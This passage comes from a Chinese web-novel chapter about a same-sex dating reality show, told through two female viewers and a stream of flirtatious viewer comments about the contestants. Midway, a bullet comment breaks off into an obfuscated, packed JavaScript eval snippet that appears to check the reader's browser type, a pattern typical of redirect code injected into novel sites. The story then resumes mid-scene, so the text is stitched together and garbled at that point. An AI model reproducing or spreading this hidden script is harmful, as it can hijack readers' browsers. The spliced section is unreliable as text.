或者说,她正在深深嫉妒着韩睿霖这个男人。苏映薇觉得自己快成他的黑粉了,因为他干了许多自己不敢干的事,还很有可能抢走她的秦律师。 【骗人的吧,秦律师比韩车手大了6岁。韩现在22,也就是说,他28了?】 【我比秦律师小5岁,已经长得像他妈了OTZ】 【年上好,年上妙。】 【突然很想看韩车手胆大妄为,企图推倒秦律师,然后被对方板着脸狠狠(教训】 【嘿嘿,为什么不叫哥?】 【因为想叫爹(bus)】 在两人分喝椰子时,弹幕突然发现了一个关键点: 【你们有没有发现,秦律师好像很难get到暧昧的点。】 【嘶——真的诶,感觉韩一个人脸红心跳,秦哥根本没感觉。】 【好惨哦...哈哈哈哈我怎么笑出声了诶。】 【我就爱看这种,两个大男人扭扭捏捏我才不要。】 让观众有些惊喜的是,秦璟沅靠着睡过去的那棵树,正好暴露在镜头与雨棚的夹缝处。 因此,她们能够清晰地看见,韩睿霖小心翼翼地用手托住秦璟沅的脸颊,将身体挤到他的背后。 让他的后脑勺靠在了自己的胸肌上。 两人就这样头靠着头,一人将另一人隔腰揽在怀里,睡着了。 【好甜...】 【这是第一天,没错吧?我觉得进展好快啊!】 【不,这个快只是韩车手单方面的快。】 【还不是趁秦律师睡着了,偷偷占人家便宜(我没有在吃醋)】 与此同时,屏幕上也显示本次直播即将结束,下一次直播开启将会以短信的方式,通知已经订阅本档节目的观众。 看着秦律师沉睡的侧脸消失在面前,苏映薇依依不舍地关掉了电脑。 她摸了摸自己已经接近半干的头发,想起明天正好是周末,很适合一大早起来看直播,便快速吹干头发上床睡觉。 梦里,苏映薇看见秦律师居然低头吻上了那个银发男人的嘴唇,把她给吓出一身冷汗。 16. 我想跟你睡 第二天,天才微亮,苏映薇就已经坐在液晶电视前,盯着自己手机的短信界面发呆半小时了。旁边一起发呆的,还有她的闺蜜兼室友。 从卧室推开门,她正好撞到了同时出门洗漱的小琦。对方正穿着身毛绒睡衣,睡眼惺忪地打了个哈欠。 “薇宝,你今天不是不上班?怎么起那么早捏?” “昨天那个恋综,今...” 迟疑片刻,苏映薇还是决定说实话。然而没等她说完,少女就兴奋地冲了过来,抓着她的肩膀晃了晃: “你也看了对吧对吧,薇宝啊,快来和我一起嗑沅霖!” “小琦,那个非主流男哪里配得上秦律师,他明明适合更好的!” 一提到这个,苏映薇就炸了。她一开始犹豫,就是因为自家闺蜜很明显已经是秦韩两人的cp粉。 “什么嘛,怎么这样说...诶,我记得你也是律师来着,今年不是刚进律所。 那你认不认识秦璟沅律师呀,感觉他应该在你们业内很有名吧?我感觉他好帅哦!” 岂止认识,她还暗恋人家呢,结果自己最好的朋友,还嗑她男神和别的男人的cp。 苏映薇有苦说不出。 在知道她和秦璟沅正好是一家律所的,两人还是微信好友后,客厅里又爆发了一阵长达2分钟的尖叫。 苏映薇的胳膊被小琦用手肘碰了碰,对方朝她笑得意有所指: “哎哟,早说嘛,姐们还能不站在你这一边?你喜欢秦律师吧?” “你怎么猜...” “这还用猜?这种优质的男人天天在面前晃荡,傻子才会不喜欢呢。 别担心,我现在就把头像换成秦律师的。” 听见小琦的话,苏映薇感动得眼泪汪汪。 “想来想去,我还是觉得秦律师和其他人也挺好磕的,我决定让他做总攻。这样一来,你也有机会了。” 苏映薇:?我谢谢你啊。 感动的泪水,瞬间干涸。 现在,两个人正一起蹲在沙发上,守着《爱在荒野》的直播平台。只听“叮”的一声,漆黑的屏幕亮起,大片弹幕滚动起来。 原来除了她们,还有很多人在等着节目的开播。 【谁懂,我一晚上都没睡着。真的好想看秦律师醒来,发现自己躺在韩车手怀里,会是什么反应。】 【+1,我还想看其他人的修罗场,昨天夜里山洞也不太平。】 【是啊是啊,南砚明里暗里讽刺石头哥见死不救,让秦哥一个人去呢!】 【他真的好双标,自己怎么不去?】 【去干嘛?别拖后腿了。】 节目组非常懂事地把镜头率先切到了雨棚底下,韩睿霖不知何时躺在了地上,脑袋露在芭蕉叶外头。 而秦璟沅静静地趴在他的胸口,眉心微蹙,稍长的发丝随着身下人的震动,而滑落到他的睫毛,交织在一起。 他缓慢地掀开眼皮,就见自己的手正压在脸颊下面,五指陷在一片柔软又富有弹性的筋肉里。 站起身,秦璟沅面色平静地看了眼那只手,就蹲到韩睿霖身侧。在对方撅嘴的时候,用同一只手掐住了他绑着黑色布料的手臂。 控制了力度,落在完好的皮肉那处。 【笑晕了,白毛哥这是梦到什么了,嘴都快怼咱秦哥脸上了。】 【~么么哒,亲一个~】 【无情的秦律师,下手好狠,哈哈哈。】 两人醒来后,走到了雨棚底下,再次从镜头里消失。 【卧槽,我刚刚好像看见抹白色一闪而过,是我眼花了吗?】 【前面的姐妹,我已截图,是秦律师的背,超级无敌白!妈耶,跟抹了珍珠粉似的。】 【若隐若现,我不行了。】 当韩睿霖强行将自己的外套披到秦璟沅身上,跟着他走出来时,弹幕里大部分都是对他的“谴责”: 【不懂事,不知道观众爱看什么嘛?】 【瞧瞧,还没在一起呢,占有欲就这么强,恨不得把人揣兜里。】 【我的天,感觉看起来好像事后,穿着男朋友的衣服。】 【谁上谁?我觉得...】 【前面的,嘴巴注意点,年上党不可动摇!】 【这么激动干嘛?我没说完,我觉得是不知足的狗0在老公背上抓了一堆印子和咬痕,占有欲发作不想给人看见。】 【有品啊有品,现在已经不流行攻穿裤子受穿上衣了,就要反过来!】 【哎呀,我觉得两种穿法都行,传统的也很好啊。当然,年上不可逆。】 【但是老公并不care被看见哈哈哈。】 【不是,姐妹们,这也没做啊?你们也太会yy了。】 松开手里被撕碎的纸巾,苏映薇附和地发了好几条弹幕。 【就是啊,脑子里多想点符合社会主义核心价值观的东西吧。】 很快,几人就在山洞内汇合了。如观众预料的那样,韩睿霖和南砚又对上了。 【这嘴,太会骂了。】 【好吧不该怀疑白毛被魂穿的,他还是最初的那个他,我哭死。】 【呀,这次心机南也会回嘴了嘛!】 【骂吧骂吧,秦律师一说话,还不是得乖乖的。】 【真是的,把秦哥都挤到了,我严重怀疑韩是故意想抱他。】 【无人在意石头哥那个,伸出又放下的手吗?】 那个巨大的沼泽出现在屏幕中,很多白色的弹幕开始滚动。 【哇,这还是本四斋第一次看见会冒泡的沼泽呢!】 【感觉秦律师真的好可靠。】 【节目组又在玩什么花样啊?这旗子谁拿得到?】 【总不可能真让人趟过去吧。】 【南砚不知道沼泽不能随便靠近吗?好蠢,多亏了秦哥。】 【我也不知道啊,别把什么都当成人人都该知道的常识好吧?】 节目组的降落伞品味,也遭到了观众的诟病。 【咦~好恶俗的荧光粉。】 【和几人画风都不搭,和节目性质却挺搭哈哈哈。】 【哇喔,好有意思的问答赛,跟普通恋综里嘉宾相互了解的环节差不多诶,只是换了种形式。】 配对答题对象时,镜头特意对准了几人的照片。其中,秦璟沅和韩睿霖的报名照果然引起了热议。 【我靠啊啊,原来是他,我在网上见过秦律师这张照片。】 【我也见过,当时我还觉得一个律师,居然长得比明星还好看。】 【当了我一段时间的壁纸,我有罪,居然没认出来T T】 【因为秦律师在法庭上的气势,和现在很不一样吧?搞得我的相亲对象一度都是律师,结果他们一来就想分好婚前财产。】 【Ber,这是白毛哥?】 【他经历了什么,从一个乖乖学生仔变成了如今的fzl机车男。】 【我天,原来他有这么乖的时候?爱了爱了。】 【韩车手是去地中海晒日光浴了吗?黑成现在这样。】 【感觉他以前和秦律师更好嗑,像严谨的哥哥和桀骜却被迫乖巧的弟弟(笑)】 【我觉得是父子(保命)】 【南砚也很不一样啊,他之前也太像阴郁孤僻文艺男青年了,现在每次笑那么甜的,到底是谁!】 【石头哥没疤好帅气。】 【不止是帅气,而是正气吧?让人不敢犯罪。】 【看不出来是现在这个无口男诶。】 在问答比赛进行时,直播平台的画面分成了四个等比例的窗口,以确保观众能够同时看见所有人的视角。 期间,苏映薇两人为了听问题和答案,都来不及发弹幕了。但这并不妨碍一些手速超快的观众: 【是谁在记笔记?】 【好精彩,我的耳朵都忙不过来了。】 【听见命悬一线时,秦律师很无语吧哈哈哈。我想韩车手说的应该是,他那场差点翻车的环山赛。 服了,我都要吓死了,他居然想谈恋爱。】 【我失恋了,秦律师居然退休才想谈恋爱。】 【不,这代表你永远有机会,直到退休。】 【说不定人家还是受欢迎的美叔,被各种老太争抢(?)】 【好好笑啊,韩睿霖想要在空中来场浪漫约会?脸颊都要被风吹烂了吧。】 【笑死,恐高的就不能和他谈了。】 【发际线高的也不行(×)】 【配上小鸟依人的理想型,更好笑了。】 【璟沅哥的理想约会地点好朴实。】 【我觉得很好啊,劳累一天的社畜小情侣一起在便利店门前,吃一碗热乎乎的关东煮或者泡面,好幸福~】 【我也喜欢这种接地气的,反正我不爱去西餐厅。(不是去不起,是漂亮饭好难吃)】 【完蛋,虽然秦律师没外貌要求,但他果然是智性恋...】 【乖巧的笨狗狗可以吗呜呜。】 听见“上/床”两个字,观众的画风又不可避免地再次跑偏。 【哇,节目组可真敢问啊。】 【一个眼睛,一个脖子,我已经脑补了...】 【我着迷地看着你那双温柔的眸子,而你正无情地掐着我的脖子。】 【有才啊姐妹,给你递笔。】 【标记:韩车手只会在最爱的人面前哭鼻子,看他后面哭不哭。】 【笑飞了,韩做了什么,让秦会选脱光衣服炫耀那个选项。】 【我之前看见秦律师脖子上的算盘挂坠,就觉得他萌了,一直没说。】 【数硬币,好小众的爱好。】 【秦哥一本正经地盘腿坐在地上数硬币,卡哇伊内。】 【异性恋咋来这个同性节目?搞笑。】 【好歹另外两个人都选了同性诶】 【不是吧,秦律师是无性恋?这是啥意思?】 【说明他对和人类恋爱不感兴趣(苦笑)】 【还异性恋呢,这白毛明显已经弯了,别嘴硬。】 【怪不得秦律师完全在另一个频道。】 【但是秦哥愿意为了爱人去改变啊,好温柔。当然,前提是有一个爱人。】 【韩居然0分,笑死啦哈哈哈。】 【秦律师果然什么都很优秀!】 【好一个失误,奇怪的胜负欲,我觉得秦律师脸上写着这个哈哈O u O】 组装无人机的时候,几人之间的修罗场,让屏幕上的弹幕颜色变得五彩缤纷起来。 【看不出来啊,南砚还挺厉害,连这个都会。】 【啧,又给他抓到机会在秦哥面前表现了。】 【瞧白毛嫉妒的,牙都咬碎了吧!】 【我也要碎了,南砚和秦律师靠的好近。】 【这是能嗑的吗?他真的好努力。】 【我有点感动,长发哥居然还敢挑衅嘴毒哥,都被怼几次了,爱情使人勇敢()】 【我还以为韩什么都会呢,看来还是有不擅长的。这不,被秦哥暗暗嫌弃了哈哈哈,心碎碎~】 【让我们为石头哥鼓掌,他终于上了!】 【修罗场现加入第三名选手。】 【南砚教的好仔细,我感觉我眼睛也学会了。】 原本的湖面一片平静,只有底下的暗涛汹涌。然而这一切,都被秦璟沅抛给南砚的一颗桑果打破了。 【南砚指的好看,是什么呢?】 【啧,他在说秦律师长得好看,肯定很甜。】 【他的什么东西很甜?(笑)】 【救命啊,快住脑!】 【哟,白毛忍不住了,也想要讨赏。】 【我靠,他这次好敢啊,这抓着秦律师都不带撒手的。】 【完了完了,感觉秦哥脸色明显不好看了。】 【为韩车手默哀。】 【默哀+10086】 【他太冲动了啊啊啊!我才刚嗑上沅霖就要be了吗?】 【哒咩呀,果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不得不说,他真的是锦鲤附体。所过之处,收获满满。 【我突然知道那次比赛如此惊险,韩哥为什么能活下来,仅仅腿上受伤了。他真的运气太好了。】 【我好嫉妒,各种意义上的。】 【哎呀,他这是人为地把好运气送给心上人了呢~】 【就这躲藏水平,保准被秦哥给抓住咯。】 【现在气氛终于恢复正常了,刚才吓死我啦!】 【感觉那次过后,韩睿霖变得更加谨慎了。】 【我发誓,他看着秦哥的腰,偷偷咽口水了。】 【我同步吞口水了...】 【秦哥的腰,夺命的刀哈哈哈,omg我好土。】 当韩睿霖看到组队任务卡,对着秦璟沅问出那个问题后,弹幕不约而同地开始刷起来: 【要不要,跟我走?(霸总笑)】 …… 【要不要,跟我走?(可怜狗狗眼)】 【卡机嘛~】×100 “噗哈哈哈,弹幕太好笑了!” 笑倒在沙发上,小琦拍了拍苏映薇的肩膀,跟风发了好几条弹幕。而她旁边的人,正死死地盯着秦璟沅两人因为并肩蹲着,紧紧贴在一块儿的大腿。 她真的,好嫉妒啊。 【节目组这次还挺良心,投放了这么多物资。】 【我看,是被之前那头野猪给吓怕了吧!】 【我服了啊,白毛占有欲真的好强,连秦律师脱不脱衣服都要管,他算什么东西?】 【感觉他好像非常不想让人家身体暴露,好奇怪哦。】 【秦哥自己都没说什么,你们瞎哔哔啥?这是他隐私好吧,别对看人家身子欲望那么强,很e诶...】 屏幕中,韩睿霖熟练的搭帐篷技巧,成功地转移了观众的注意力。 【好专业啊,他们这组肯定要赢。】 【可不是,笑死我了,南砚非要抓那只兔子,直接带着石头哥双双迷路。】 【以为自己是秦律师,可以轻松抓兔吗?】 看见韩睿霖在秦璟沅的睡袋旁,摆的那束雪白的栀子花,cp粉开始激动起来: 【啧,这小子有点会啊!】 【戳到我了,我真的很喜欢这种小细节的浪漫。】 【我就说他摘这花是想送给秦律师吧。】 【这就是心有猛虎,细嗅蔷薇吗?】 【艾玛,感觉秦哥挺喜欢诶~】 【只是道个谢,小韩哥直接原地红温。】 【我终于从韩睿霖的皮肤上,看出了红色。】 【秦律师,你快转头啊!这小子眼里根本藏不住一点儿...】 这一幕,让苏映薇的指尖都深深地陷进了肉里。她突然觉得有些无力,或许自己就是只痴心妄想,企图水中捞月的猴子吧。 手机铃声响起,打断了她的情绪。 是前些天的一个委托人,有后续的合同问题需要苏映薇帮忙,非常着急。她只好快速换了身衣服,在周末变相加班。 等她晚上回来后,客厅的电视还亮着,小琦面红耳赤地用抱枕挡住了脸。凑近一看,苏映薇直接整个人呆住了。 屏幕中央,秦璟沅躺在睡袋里,狭长的凤眼半睁着,似是因为被中途吵醒,周身散发着一股冷冽气息。 他平静地盯着眼前满脸通红的男人,声音听起来有些低哑,仿佛掺了迷醉的酒: “韩睿霖,你睡错地方了。” 酒不醉人,人自醉。 “我不要。” 隔着睡袋,韩睿霖的手臂紧紧箍住身下人的腰。他低下头,将脑袋埋在秦璟沅露出来的颈窝里。 喷出的热气裹挟着酒精的辣意,熏红了唇边象牙白的锁骨。 “哥,我...我想跟你睡,好不好?”